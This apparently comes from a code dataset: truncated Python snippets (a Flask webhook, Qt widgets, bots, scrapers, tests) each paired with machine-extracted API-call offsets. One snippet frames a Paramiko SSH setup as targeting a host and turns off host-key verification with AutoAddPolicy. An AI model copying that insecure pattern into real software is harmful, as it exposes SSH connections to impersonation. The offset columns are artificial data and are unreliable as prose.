code stringlengths 22 1.05M | apis listlengths 1 3.31k | extract_api stringlengths 75 3.25M |
|---|---|---|
import unittest
from cipher_map import recall_password
class Tests(unittest.TestCase):
TESTS = {
"Basics": [
{
"input": [
["X...", "..X.", "X..X", "...."],
["itdf", "gdce", "aton", "qrdi"],
],
"answer": "i... | [
"unittest.main",
"cipher_map.recall_password"
] | [((3436, 3451), 'unittest.main', 'unittest.main', ([], {}), '()\n', (3449, 3451), False, 'import unittest\n'), ((3034, 3079), 'cipher_map.recall_password', 'recall_password', (["i['input'][0]", "i['input'][1]"], {}), "(i['input'][0], i['input'][1])\n", (3049, 3079), False, 'from cipher_map import recall_password\n'), (... |
# -*- coding:utf8 -*-
# !/usr/bin/env python
# Copyright 2017 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2... | [
"json.loads",
"future.standard_library.install_aliases",
"flask.Flask",
"urllib.request.urlopen",
"json.dumps",
"flask.make_response",
"os.getenv",
"flask.request.get_json"
] | [((732, 749), 'future.standard_library.install_aliases', 'install_aliases', ([], {}), '()\n', (747, 749), False, 'from future.standard_library import install_aliases\n'), ((1039, 1054), 'flask.Flask', 'Flask', (['__name__'], {}), '(__name__)\n', (1044, 1054), False, 'from flask import Flask\n'), ((1400, 1441), 'flask.r... |
#coding:utf-8
# calculate nus dataset result among every camera folders
import os
cam_names = ["canon_eos_1D_mark3", "canon_eos_600D", "fuji", "nikonD5200", "panasonic", "olympus", "sony", "samsung"]
ex_id = "ex8"
head = "new_ex_output"
exam_name = "table3_finetune"
result_path = os.path.join(head,ex_id,"all_result.tx... | [
"os.path.join"
] | [((282, 325), 'os.path.join', 'os.path.join', (['head', 'ex_id', '"""all_result.txt"""'], {}), "(head, ex_id, 'all_result.txt')\n", (294, 325), False, 'import os\n'), ((504, 546), 'os.path.join', 'os.path.join', (['head', 'ex_id', 'i', '"""stdout.txt"""'], {}), "(head, ex_id, i, 'stdout.txt')\n", (516, 546), False, 'im... |
import numpy as np
from preprocessing import extractFeatures
def predict(wav, model):
mfccs = extractFeatures(wav)
if mfccs.shape[1] > 433:
mfccs = mfccs[:,:433]
elif mfccs.shape[1] < 433:
mfccs = np.concatenate((mfccs,mfccs[:,(mfccs.shape[1] - (433-mfccs.shape[1])):mfccs.shape[1]]), axis=... | [
"numpy.concatenate",
"preprocessing.extractFeatures",
"numpy.argmax"
] | [((100, 120), 'preprocessing.extractFeatures', 'extractFeatures', (['wav'], {}), '(wav)\n', (115, 120), False, 'from preprocessing import extractFeatures\n'), ((509, 527), 'numpy.argmax', 'np.argmax', (['results'], {}), '(results)\n', (518, 527), True, 'import numpy as np\n'), ((227, 329), 'numpy.concatenate', 'np.conc... |
import os
from struct import Struct as PyStruct
from traceback import format_exc
from reclaimer.model.jms import write_jms, JmsModel, JmsNode,\
JmsMaterial, JmsMarker, JmsVertex, JmsTriangle
__all__ = ("extract_model", )
def extract_model(tagdata, tag_path="", **kw):
do_write_jms = kw.get('w... | [
"struct.Struct",
"reclaimer.model.jms.JmsMarker",
"os.path.dirname",
"reclaimer.model.jms.write_jms",
"reclaimer.model.jms.JmsTriangle",
"reclaimer.model.jms.JmsModel",
"reclaimer.model.jms.JmsNode",
"traceback.format_exc",
"reclaimer.model.jms.JmsVertex",
"os.path.join"
] | [((4410, 4432), 'struct.Struct', 'PyStruct', (['""">3f3I2h2bh"""'], {}), "('>3f3I2h2bh')\n", (4418, 4432), True, 'from struct import Struct as PyStruct\n'), ((4473, 4493), 'struct.Struct', 'PyStruct', (['""">14f2h2f"""'], {}), "('>14f2h2f')\n", (4481, 4493), True, 'from struct import Struct as PyStruct\n'), ((453, 478)... |
import functools
import time
from concurrent.futures import ThreadPoolExecutor
_DEFAULT_POOL = ThreadPoolExecutor()
def threaded(f, executor=None):
@functools.wraps(f)
def wrapper_threaded(*args, **kwargs):
return (executor or _DEFAULT_POOL).submit(f, *args, **kwargs)
return wrapper_threaded
d... | [
"concurrent.futures.ThreadPoolExecutor",
"functools.wraps",
"time.sleep"
] | [((96, 116), 'concurrent.futures.ThreadPoolExecutor', 'ThreadPoolExecutor', ([], {}), '()\n', (114, 116), False, 'from concurrent.futures import ThreadPoolExecutor\n'), ((156, 174), 'functools.wraps', 'functools.wraps', (['f'], {}), '(f)\n', (171, 174), False, 'import functools\n'), ((375, 396), 'functools.wraps', 'fun... |
# import plotly.plotly as py
# import plotly.graph_objs as go
# import plotly.figure_factory as FF
import math
import numpy as np
import pandas as pd
import matplotlib as mplt
import itertools
import matplotlib.pyplot as plt
neededfiles = ['aim.test','battlefield2.test','counterstrike-source.test','dns.test','h323.te... | [
"matplotlib.pyplot.axhline",
"matplotlib.pyplot.title",
"matplotlib.pyplot.plot",
"pandas.read_csv",
"matplotlib.pyplot.get_current_fig_manager",
"matplotlib.pyplot.legend",
"matplotlib.pyplot.close",
"matplotlib.pyplot.figure",
"matplotlib.pyplot.get_backend",
"itertools.product",
"matplotlib.p... | [((435, 464), 'matplotlib.pyplot.get_current_fig_manager', 'plt.get_current_fig_manager', ([], {}), '()\n', (462, 464), True, 'import matplotlib.pyplot as plt\n'), ((518, 535), 'matplotlib.pyplot.get_backend', 'plt.get_backend', ([], {}), '()\n', (533, 535), True, 'import matplotlib.pyplot as plt\n'), ((575, 632), 'pan... |
import re
letter_path = r"[a-z]"
punctuation_path = r"[',\.\!\?-]"
def get_n(line, path):
return len(re.findall(path, line, re.IGNORECASE))
new_text = []
with open("text.txt", "r") as file:
lines = file.readlines()
counter = 1
for line in lines:
n_letters = get_n(line, letter_path)
... | [
"re.findall"
] | [((108, 145), 're.findall', 're.findall', (['path', 'line', 're.IGNORECASE'], {}), '(path, line, re.IGNORECASE)\n', (118, 145), False, 'import re\n')] |
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------... | [
"azure.cli.core.commands.CliCommandType"
] | [((1114, 1263), 'azure.cli.core.commands.CliCommandType', 'CliCommandType', ([], {'operations_tmpl': '"""azure.mgmt.synapse.operations#WorkspacesOperations.{}"""', 'client_factory': 'cf_synapse_client_workspace_factory'}), "(operations_tmpl=\n 'azure.mgmt.synapse.operations#WorkspacesOperations.{}', client_factory\n... |
from django.contrib import admin
from models import *
# Register your models here.
admin.site.register(OrganizacionEstudiantil)
admin.site.register(Miembro)
admin.site.register(DatosBancarios)
admin.site.register(Comite)
| [
"django.contrib.admin.site.register"
] | [((85, 129), 'django.contrib.admin.site.register', 'admin.site.register', (['OrganizacionEstudiantil'], {}), '(OrganizacionEstudiantil)\n', (104, 129), False, 'from django.contrib import admin\n'), ((130, 158), 'django.contrib.admin.site.register', 'admin.site.register', (['Miembro'], {}), '(Miembro)\n', (149, 158), Fa... |
from unittest import TestCase
from bili_archiver import recorder
from datetime import datetime, timedelta
class Test(TestCase):
def test_last_collect_time(self):
recorder._del_last_collect_time('1')
assert recorder.get_last_collect_time('1') == datetime.fromtimestamp(946656000)
t = datetim... | [
"bili_archiver.recorder.is_disappeared",
"bili_archiver.recorder.get_to_download",
"bili_archiver.recorder.download_history_set",
"bili_archiver.recorder.set_last_collect_time",
"bili_archiver.recorder.get_last_collect_time",
"datetime.timedelta",
"bili_archiver.recorder.is_collected",
"bili_archiver.... | [((176, 212), 'bili_archiver.recorder._del_last_collect_time', 'recorder._del_last_collect_time', (['"""1"""'], {}), "('1')\n", (207, 212), False, 'from bili_archiver import recorder\n'), ((313, 327), 'datetime.datetime.now', 'datetime.now', ([], {}), '()\n', (325, 327), False, 'from datetime import datetime, timedelta... |
from rest_framework import serializers
from teleband.courses.models import Course, Enrollment
from teleband.instruments.api.serializers import InstrumentSerializer
from teleband.users.api.serializers import UserSerializer
from teleband.utils.serializers import GenericNameSerializer
class CourseRelatedSerializer(seri... | [
"teleband.utils.serializers.GenericNameSerializer",
"teleband.instruments.api.serializers.InstrumentSerializer",
"teleband.users.api.serializers.UserSerializer"
] | [((647, 663), 'teleband.users.api.serializers.UserSerializer', 'UserSerializer', ([], {}), '()\n', (661, 663), False, 'from teleband.users.api.serializers import UserSerializer\n'), ((1217, 1239), 'teleband.instruments.api.serializers.InstrumentSerializer', 'InstrumentSerializer', ([], {}), '()\n', (1237, 1239), False,... |
from kivy.properties import ObjectProperty, NumericProperty
from kivy.uix.boxlayout import BoxLayout
from kivy.uix.widget import Widget
class SimpleItem(BoxLayout):
thumb = ObjectProperty(None, allownone=True)
cell_size = NumericProperty(None)
file_id = NumericProperty(None)
position = NumericProperty... | [
"kivy.properties.NumericProperty",
"kivy.properties.ObjectProperty"
] | [((179, 215), 'kivy.properties.ObjectProperty', 'ObjectProperty', (['None'], {'allownone': '(True)'}), '(None, allownone=True)\n', (193, 215), False, 'from kivy.properties import ObjectProperty, NumericProperty\n'), ((232, 253), 'kivy.properties.NumericProperty', 'NumericProperty', (['None'], {}), '(None)\n', (247, 253... |
from good_dags.dag_factory import add_bash_task, add_python_task, create_dag
from good_dags.stock_retrieve.lib.stock_history import StockHistory
schedule = "0 6 * * *"
dag = create_dag(name="stock_retrieve", schedule=schedule)
bash_1 = add_bash_task(name="print_date", command="date", dag=dag)
bash_2 = add_bash_task(na... | [
"good_dags.dag_factory.create_dag",
"good_dags.dag_factory.add_bash_task",
"good_dags.stock_retrieve.lib.stock_history.StockHistory"
] | [((175, 227), 'good_dags.dag_factory.create_dag', 'create_dag', ([], {'name': '"""stock_retrieve"""', 'schedule': 'schedule'}), "(name='stock_retrieve', schedule=schedule)\n", (185, 227), False, 'from good_dags.dag_factory import add_bash_task, add_python_task, create_dag\n'), ((237, 294), 'good_dags.dag_factory.add_ba... |
import backtrader as bt
class Streak(bt.ind.PeriodN):
'''
Keeps a counter of the current upwards/downwards/neutral streak
'''
lines = ('streak',)
params = dict(period=2) # need prev/cur days (2) for comparisons
curstreak = 0
def next(self):
d0, d1 = self.data[0], self.data[-1]
... | [
"backtrader.ind.PercentRank",
"backtrader.ind.RSI_Safe"
] | [((845, 891), 'backtrader.ind.RSI_Safe', 'bt.ind.RSI_Safe', (['self.data'], {'period': 'self.p.prsi'}), '(self.data, period=self.p.prsi)\n', (860, 891), True, 'import backtrader as bt\n'), ((949, 995), 'backtrader.ind.RSI_Safe', 'bt.ind.RSI_Safe', (['streak'], {'period': 'self.p.pstreak'}), '(streak, period=self.p.pstr... |
# coding: utf-8
"""
Copyright 2016 SmartBear Software
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applica... | [
"six.iteritems"
] | [((5251, 5280), 'six.iteritems', 'iteritems', (['self.swagger_types'], {}), '(self.swagger_types)\n', (5260, 5280), False, 'from six import iteritems\n')] |
#!/usr/bin/env python
# pipescaler/processors/web_processor.py
#
# Copyright (C) 2020-2021 <NAME>
# All rights reserved.
#
# This software may be modified and distributed under the terms of the
# BSD license.
from __future__ import annotations
from argparse import ArgumentParser
from inspect import cleandoc
... | [
"logging.info",
"requests.Session",
"inspect.cleandoc",
"os.path.basename"
] | [((1351, 1385), 'logging.info', 'info', (['f"""{self}: \'{outfile}\' saved"""'], {}), '(f"{self}: \'{outfile}\' saved")\n', (1355, 1385), False, 'from logging import info\n'), ((1018, 1036), 'requests.Session', 'requests.Session', ([], {}), '()\n', (1034, 1036), True, 'import requests as requests\n'), ((1720, 1741), 'i... |
from PyQt5 import QtWidgets
from graph.HeatMap import HeatMap
from gui.wdg.PossibleGraphWidget import PossibleGraphWidget
from gui.wdg.RangeWidget import RangeWidget
from gui.wdg.SelectionWidget import SelectionWidget
class HeatMapWidget(PossibleGraphWidget):
def __init__(self, graph_obj):
super().__init... | [
"PyQt5.QtWidgets.QGridLayout",
"PyQt5.QtWidgets.QPushButton",
"PyQt5.QtWidgets.QWidget",
"gui.wdg.SelectionWidget.SelectionWidget"
] | [((675, 694), 'PyQt5.QtWidgets.QWidget', 'QtWidgets.QWidget', ([], {}), '()\n', (692, 694), False, 'from PyQt5 import QtWidgets\n'), ((715, 738), 'PyQt5.QtWidgets.QGridLayout', 'QtWidgets.QGridLayout', ([], {}), '()\n', (736, 738), False, 'from PyQt5 import QtWidgets\n'), ((765, 788), 'PyQt5.QtWidgets.QPushButton', 'Qt... |
# -*- coding: utf-8 -*-
from datetime import datetime
import pandas as pd
from numba import njit
from zvt.api.data_type import Region, Provider, EntityType
from zvt.api.quote import get_kdata_schema
from zvt.domain import Index, BlockCategory, Block
from zvt.contract import IntervalLevel
from zvt.contract.recorder im... | [
"zvt.utils.time_utils.now_time_str",
"zvt.contract.IntervalLevel",
"zvt.utils.utils.json_callback_param",
"zvt.utils.utils.to_float",
"zvt.networking.request.sync_get",
"zvt.api.quote.get_kdata_schema",
"numba.njit",
"pandas.to_datetime",
"zvt.domain.Index.category.in_",
"pandas.DataFrame.from_rec... | [((652, 672), 'zvt.contract.IntervalLevel', 'IntervalLevel', (['level'], {}), '(level)\n', (665, 672), False, 'from zvt.contract import IntervalLevel\n'), ((1836, 1890), 'zvt.api.quote.get_kdata_schema', 'get_kdata_schema', ([], {'entity_type': 'entity_type', 'level': 'level'}), '(entity_type=entity_type, level=level)\... |
from __future__ import print_function
import os
import os.path
import errno
import torch
import torch.utils.data as data
from PIL import Image
from termcolor import colored
import torchvision.transforms as transforms
from datasets import SubDataset, AbstractDomainInterface
"""
This is a modified copy of the MNIST... | [
"os.path.join",
"torch.LongTensor",
"torch.ByteTensor",
"torch.load",
"torch.save",
"six.moves.urllib.request.urlopen",
"os.path.isfile",
"termcolor.colored",
"torch.randperm",
"torch.utils.data.read",
"os.path.expanduser",
"torchvision.transforms.ToTensor"
] | [((1643, 1667), 'os.path.expanduser', 'os.path.expanduser', (['root'], {}), '(root)\n', (1661, 1667), False, 'import os\n'), ((4369, 4401), 'torch.LongTensor', 'torch.LongTensor', (["data['labels']"], {}), "(data['labels'])\n", (4385, 4401), False, 'import torch\n'), ((5263, 5324), 'os.path.join', 'os.path.join', (['""... |
from setuptools import setup, find_packages
setup(name='SPDRC-ui',
packges=find_packages(),
version='0.1.0')
| [
"setuptools.find_packages"
] | [((83, 98), 'setuptools.find_packages', 'find_packages', ([], {}), '()\n', (96, 98), False, 'from setuptools import setup, find_packages\n')] |
"""
Loading a pretrained model and using it for superresolution and denoising purposes
on the test-set.
Denoising_in_superresolution/src
@author: <NAME>
"""
import os
import json
from tqdm import tqdm
import torch
import lib.utils as utils
import lib.metrics as metrics
import lib.arguments as arguments
import lib.mo... | [
"lib.metrics.denorm_img",
"lib.utils.set_random_seed",
"lib.model_setup.setup_model",
"lib.utils.create_generalization_logs",
"torch.no_grad",
"os.path.join",
"lib.model_setup.hyperparameter_setup",
"lib.model_setup.load_dataset",
"torch.load",
"os.path.exists",
"lib.model_setup.load_generalizat... | [((3328, 3343), 'torch.no_grad', 'torch.no_grad', ([], {}), '()\n', (3341, 3343), False, 'import torch\n'), ((5364, 5382), 'os.system', 'os.system', (['"""clear"""'], {}), "('clear')\n", (5373, 5382), False, 'import os\n'), ((5416, 5469), 'lib.arguments.get_directory_argument', 'arguments.get_directory_argument', ([], ... |
import warnings
use_pyarrow = False
try:
from pyarrow import dataset
use_pyarrow = True
except ImportError:
pass
def check_parquet_dataset(filepath):
"""
Check if a filepath points to a parquet dataset.
Parameters
----------
filepath : `str`
File path to check.
Returns
... | [
"warnings.warn",
"pyarrow.dataset.dataset"
] | [((506, 583), 'warnings.warn', 'warnings.warn', (['"""Cannot access parquet datasets without pyarrow."""', 'UserWarning'], {}), "('Cannot access parquet datasets without pyarrow.', UserWarning)\n", (519, 583), False, 'import warnings\n'), ((650, 714), 'pyarrow.dataset.dataset', 'dataset.dataset', (['filepath'], {'forma... |
"""
Mlflow Tracking with Tensorflow 2.0
"""
import mlflow
import tensorflow as tf
def input():
# data scaling example
x = tf.constant([-10, 0, 2, 30, 8, 10], dtype=tf.float32)
y = tf.constant([5, 0, -1, -15, -4, -5], dtype=tf.float32)
return x, y
def setup_mlflow():
mlflow.set_tracking_uri('fil... | [
"mlflow.start_run",
"mlflow.end_run",
"mlflow.set_tracking_uri",
"mlflow.set_experiment",
"tensorflow.math.subtract",
"tensorflow.constant",
"tensorflow.Variable",
"mlflow.log_params",
"tensorflow.math.multiply",
"tensorflow.GradientTape"
] | [((133, 186), 'tensorflow.constant', 'tf.constant', (['[-10, 0, 2, 30, 8, 10]'], {'dtype': 'tf.float32'}), '([-10, 0, 2, 30, 8, 10], dtype=tf.float32)\n', (144, 186), True, 'import tensorflow as tf\n'), ((195, 249), 'tensorflow.constant', 'tf.constant', (['[5, 0, -1, -15, -4, -5]'], {'dtype': 'tf.float32'}), '([5, 0, -... |
#coding:utf-8
#
# id: functional.procedure.create.03
# title: CREATE PROCEDURE - Output paramaters
# decription: CREATE PROCEDURE - Output paramaters
#
# Dependencies:
# CREATE DATABASE
# tracker_id:
# min_versions: []
# versions: 2.1
# qmid: ... | [
"pytest.mark.version",
"firebird.qa.isql_act",
"firebird.qa.db_factory"
] | [((524, 569), 'firebird.qa.db_factory', 'db_factory', ([], {'sql_dialect': '(3)', 'init': 'init_script_1'}), '(sql_dialect=3, init=init_script_1)\n', (534, 569), False, 'from firebird.qa import db_factory, isql_act, Action\n'), ((1050, 1112), 'firebird.qa.isql_act', 'isql_act', (['"""db_1"""', 'test_script_1'], {'subst... |
#Dependancies
import paramiko
import time
'''Getting Target Information'''
host = input("Enter Host Name:")
port = input("Enter Port:")
print("Target Acquired! Setting Up Paramiko environment........")
time.sleep(1)
'''Setting Paramiko'''
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPoli... | [
"paramiko.AutoAddPolicy",
"paramiko.SSHClient",
"time.sleep"
] | [((203, 216), 'time.sleep', 'time.sleep', (['(1)'], {}), '(1)\n', (213, 216), False, 'import time\n'), ((247, 267), 'paramiko.SSHClient', 'paramiko.SSHClient', ([], {}), '()\n', (265, 267), False, 'import paramiko\n'), ((394, 407), 'time.sleep', 'time.sleep', (['(1)'], {}), '(1)\n', (404, 407), False, 'import time\n'),... |
import os
from setuptools import setup
import cht
with open("README.rst") as r:
LONG_DESCRIPTION = r.read()
setup(
name="cht",
version=cht.VERSION,
py_modules=["cht"],
zip_safe=True,
entry_points={
"console_scripts": ["cht=cht:main"],
},
keywords="slack",
description=(
... | [
"setuptools.setup"
] | [((116, 531), 'setuptools.setup', 'setup', ([], {'name': '"""cht"""', 'version': 'cht.VERSION', 'py_modules': "['cht']", 'zip_safe': '(True)', 'entry_points': "{'console_scripts': ['cht=cht:main']}", 'keywords': '"""slack"""', 'description': '"""Notify to the slack channel using the incoming webhook when the previous c... |
"""
Imports we need.
Note: You may _NOT_ add any more imports than these.
"""
import argparse
import imageio
import logging
import numpy as np
from PIL import Image
def load_image(filename):
"""Loads the provided image file, and returns it as a numpy array."""
im = Image.open(filename)
return np.array(im... | [
"numpy.zeros_like",
"argparse.ArgumentParser",
"logging.basicConfig",
"numpy.zeros",
"numpy.linalg.eig",
"PIL.Image.open",
"logging.info",
"numpy.min",
"numpy.max",
"numpy.int",
"numpy.array",
"numpy.linalg.inv",
"imageio.imwrite"
] | [((277, 297), 'PIL.Image.open', 'Image.open', (['filename'], {}), '(filename)\n', (287, 297), False, 'from PIL import Image\n'), ((309, 321), 'numpy.array', 'np.array', (['im'], {}), '(im)\n', (317, 321), True, 'import numpy as np\n'), ((1096, 1979), 'numpy.array', 'np.array', (['[[pts1[0, 0], pts1[0, 1], 1, 0, 0, 0, -... |
# Generated by Django 2.2.1 on 2019-08-27 18:43
import datetime
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('customer_app', '0001_initial'),
]
operations = [
migrations.CreateModel... | [
"django.db.models.CharField",
"django.db.models.DecimalField",
"django.db.models.ForeignKey",
"django.db.models.DateField"
] | [((398, 483), 'django.db.models.CharField', 'models.CharField', ([], {'max_length': '(100)', 'primary_key': '(True)', 'serialize': '(False)', 'unique': '(True)'}), '(max_length=100, primary_key=True, serialize=False, unique=True\n )\n', (414, 483), False, 'from django.db import migrations, models\n'), ((507, 570), '... |
# Generated by Django 2.2.4 on 2019-09-20 09:53
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('project_core', '0002_proposal_models'),
]
operations = [
migrations.CreateModel(
name='Geograph... | [
"django.db.models.ForeignKey",
"django.db.models.CharField",
"django.db.migrations.DeleteModel",
"django.db.models.AutoField"
] | [((1068, 1113), 'django.db.migrations.DeleteModel', 'migrations.DeleteModel', ([], {'name': '"""GeographicArea"""'}), "(name='GeographicArea')\n", (1090, 1113), False, 'from django.db import migrations, models\n'), ((875, 1061), 'django.db.models.ForeignKey', 'models.ForeignKey', ([], {'help_text': '"""Description of t... |
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import constants
import gspread
import re
from typing import Dict, List
class DWTeams:
"""
Class of helper functions to scrape 10.009 The Digital World groups.
"""
def __init__(self):
self.key = constants.GOOGLE_SHEETS_DW_KEY
... | [
"constants.COHORT_CLASSES.keys",
"gspread.service_account",
"constants.COHORT_CLASSES.get"
] | [((463, 488), 'gspread.service_account', 'gspread.service_account', ([], {}), '()\n', (486, 488), False, 'import gspread\n'), ((761, 808), 'constants.COHORT_CLASSES.get', 'constants.COHORT_CLASSES.get', (['cohort_class_code'], {}), '(cohort_class_code)\n', (789, 808), False, 'import constants\n'), ((2342, 2373), 'const... |
from config import HOST_URL
from decode import split
import requests
def get_uuid_list():
payload = {'command':'get_all_claims', 'uuid':'LASSUUIDLIST'}
response = requests.post(HOST_URL, json=payload)
claim_list = response.json()
uuid_list = []
for tx in claim_list:
try:
payloa... | [
"requests.post",
"decode.split"
] | [((172, 209), 'requests.post', 'requests.post', (['HOST_URL'], {'json': 'payload'}), '(HOST_URL, json=payload)\n', (185, 209), False, 'import requests\n'), ((391, 428), 'requests.post', 'requests.post', (['HOST_URL'], {'json': 'payload'}), '(HOST_URL, json=payload)\n', (404, 428), False, 'import requests\n'), ((448, 46... |
import discord
from discord.ext import commands
from utils.functions import (
clean_error,
get_attachment,
get_attachment_obj,
get_media_ids
)
from utils.variables import Clients, Regex, HANDLE
from utils.views import ReplyView
from tempfile import NamedTemporaryFile as create_temp
from tweepy impo... | [
"tempfile.NamedTemporaryFile",
"discord.ext.commands.command",
"discord.ext.commands.BadArgument",
"utils.functions.clean_error",
"utils.variables.Clients.twitter",
"utils.functions.get_attachment",
"discord.ext.commands.Cog.listener",
"utils.functions.get_media_ids",
"utils.variables.Regex",
"uti... | [((409, 426), 'utils.variables.Clients.twitter', 'Clients.twitter', ([], {}), '()\n', (424, 426), False, 'from utils.variables import Clients, Regex, HANDLE\n'), ((449, 456), 'utils.variables.Regex', 'Regex', ([], {}), '()\n', (454, 456), False, 'from utils.variables import Clients, Regex, HANDLE\n'), ((1280, 1303), 'd... |
# -*- coding: utf-8 -*-
"""
* Linux : Spyder *
Created on Sun Jun 1 15:46:01 2014
@author: bugtraq : Waiyaki
"""
from __future__ import division
from __future__ import print_function
from random import randint
import sys
class Student(object):
def __init__(self, name):
self.name = name
def ... | [
"random.randint",
"sys.exit"
] | [((11634, 11645), 'sys.exit', 'sys.exit', (['(1)'], {}), '(1)\n', (11642, 11645), False, 'import sys\n'), ((2015, 2026), 'sys.exit', 'sys.exit', (['(1)'], {}), '(1)\n', (2023, 2026), False, 'import sys\n'), ((2494, 2513), 'random.randint', 'randint', (['lim1', 'lim2'], {}), '(lim1, lim2)\n', (2501, 2513), False, 'from ... |
from getSentiment import getSentiment
import requests, re
def spiciestInSub(subreddit, posted):
url = "https://www.reddit.com/r/{}/hot/.json".format(subreddit)
r = requests.get(url, headers={"user-agent": "Mozilla/5.0"}).json()["data"][
"children"
]
spiciestPost = ""
negativeSenti = 0
... | [
"re.sub",
"requests.get",
"getSentiment.getSentiment"
] | [((498, 532), 're.sub', 're.sub', (['"""[^A-Za-z0-9 ]+"""', '""""""', 'temp'], {}), "('[^A-Za-z0-9 ]+', '', temp)\n", (504, 532), False, 'import requests, re\n'), ((174, 230), 'requests.get', 'requests.get', (['url'], {'headers': "{'user-agent': 'Mozilla/5.0'}"}), "(url, headers={'user-agent': 'Mozilla/5.0'})\n", (186,... |
import subprocess
def createWorkSpace(path):
savingPath = path+"savings/"
recordPath = path+"records/"
picPatch = path+"pic/"
cmd = ['mkdir', '-p', savingPath]
subprocess.check_call(cmd)
cmd = ['mkdir', '-p', recordPath]
subprocess.check_call(cmd)
cmd = ['mkdir', '-p', picPatch]
sub... | [
"subprocess.check_call"
] | [((181, 207), 'subprocess.check_call', 'subprocess.check_call', (['cmd'], {}), '(cmd)\n', (202, 207), False, 'import subprocess\n'), ((250, 276), 'subprocess.check_call', 'subprocess.check_call', (['cmd'], {}), '(cmd)\n', (271, 276), False, 'import subprocess\n'), ((317, 343), 'subprocess.check_call', 'subprocess.check... |
import pytest
import basket.promotion as promotion
@pytest.mark.parametrize('qualifying_product', ['apples', 'Apples', 'appLeS'])
@pytest.mark.parametrize('qualifying_qty', [1, 1.0, '1'])
@pytest.mark.parametrize('discounted_product', ['appLes', 'Apples'])
@pytest.mark.parametrize('discount_percent', [10, '10', 10.0... | [
"pytest.mark.parametrize",
"pytest.raises",
"basket.promotion.Promotion"
] | [((55, 132), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""qualifying_product"""', "['apples', 'Apples', 'appLeS']"], {}), "('qualifying_product', ['apples', 'Apples', 'appLeS'])\n", (78, 132), False, 'import pytest\n'), ((134, 190), 'pytest.mark.parametrize', 'pytest.mark.parametrize', (['"""qualifying_q... |
"""
Experiment to compute the fraction of unique filtration values for cells in an Alpha complex
"""
import os
import numpy as np
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
from dmt.complexes import AlphaComplex
RESULT_PATH = os.path.join(os.path.dirname(__file__), "reducible.csv")
PL... | [
"pandas.DataFrame",
"seaborn.lineplot",
"dmt.complexes.AlphaComplex",
"pandas.read_csv",
"os.path.dirname",
"numpy.random.random",
"pandas.melt",
"pandas.concat",
"matplotlib.pyplot.savefig"
] | [((274, 299), 'os.path.dirname', 'os.path.dirname', (['__file__'], {}), '(__file__)\n', (289, 299), False, 'import os\n'), ((343, 368), 'os.path.dirname', 'os.path.dirname', (['__file__'], {}), '(__file__)\n', (358, 368), False, 'import os\n'), ((444, 480), 'numpy.random.random', 'np.random.random', (['(point_count, di... |
import tkinter as tk
import view_calc as vc
import model_calc as mc
class CalcController:
def __init__(self):
self.root = tk.Tk()
self.calc = vc.ViewCalc(self.root, self)
self.moc = mc.ModelCalc()
def start(self):
self.root.mainloop()
def operacao(self, op, n1, n2):
... | [
"view_calc.ViewCalc",
"tkinter.Tk",
"model_calc.ModelCalc"
] | [((135, 142), 'tkinter.Tk', 'tk.Tk', ([], {}), '()\n', (140, 142), True, 'import tkinter as tk\n'), ((163, 191), 'view_calc.ViewCalc', 'vc.ViewCalc', (['self.root', 'self'], {}), '(self.root, self)\n', (174, 191), True, 'import view_calc as vc\n'), ((211, 225), 'model_calc.ModelCalc', 'mc.ModelCalc', ([], {}), '()\n', ... |
#!/usr/bin/env python
import go_codercaste as go
import random
import torch
import numpy as np
import network
#Make one network
def createNewCNN():
return network.Network()
#Initialize networks
#returns a dictionary with networks as keys and scores as values
def InitializeNetworks(amount):
networkDict = {}
for i... | [
"go_codercaste.playFullGame",
"network.Network"
] | [((159, 176), 'network.Network', 'network.Network', ([], {}), '()\n', (174, 176), False, 'import network\n'), ((1099, 1149), 'go_codercaste.playFullGame', 'go.playFullGame', (['network1', 'network2', 'pringProgress'], {}), '(network1, network2, pringProgress)\n', (1114, 1149), True, 'import go_codercaste as go\n'), ((5... |
import logging
import curio
import functools
from curious.util import attrdict
from curious.dataclasses.embed import Embed
from curious.commands.context import Context
from curious.commands import command, group
from fuzzywuzzy.fuzz import UWRatio, UQRatio
from sphinx.ext import intersphinx
from fuzzywuzzy import ... | [
"curious.util.attrdict",
"functools.partial",
"curious.commands.group",
"curious.dataclasses.embed.Embed",
"curio.abide",
"logging.getLogger"
] | [((382, 417), 'logging.getLogger', 'logging.getLogger', (['"""curious.pydocs"""'], {}), "('curious.pydocs')\n", (399, 417), False, 'import logging\n'), ((2518, 2525), 'curious.commands.group', 'group', ([], {}), '()\n', (2523, 2525), False, 'from curious.commands import command, group\n'), ((559, 618), 'curious.util.at... |
from FT.weighted_tracts import load_ft, nodes_labels_mega, nodes_by_index_mega
import matplotlib.pyplot as plt
from FT.all_subj import all_subj_names
from dipy.tracking import utils
import numpy as np
from dipy.tracking.streamline import values_from_volume
import nibabel as nib
import os
index_to_text_file = r'C:\User... | [
"matplotlib.pyplot.subplot",
"FT.weighted_tracts.nodes_labels_mega",
"numpy.save",
"matplotlib.pyplot.show",
"nibabel.load",
"dipy.tracking.utils.connectivity_matrix",
"dipy.tracking.streamline.values_from_volume",
"matplotlib.pyplot.figure",
"numpy.mean",
"FT.weighted_tracts.nodes_by_index_mega",... | [((580, 599), 'FT.weighted_tracts.load_ft', 'load_ft', (['tract_path'], {}), '(tract_path)\n', (587, 599), False, 'from FT.weighted_tracts import load_ft, nodes_labels_mega, nodes_by_index_mega\n'), ((616, 639), 'os.listdir', 'os.listdir', (['folder_name'], {}), '(folder_name)\n', (626, 639), False, 'import os\n'), ((8... |
from django.forms.forms import Form
from django.forms.fields import *
from django.core.exceptions import ValidationError
from corehq.util.spreadsheets.excel import WorksheetNotFound, \
WorkbookJSONReader
from openpyxl.utils.exceptions import InvalidFileException
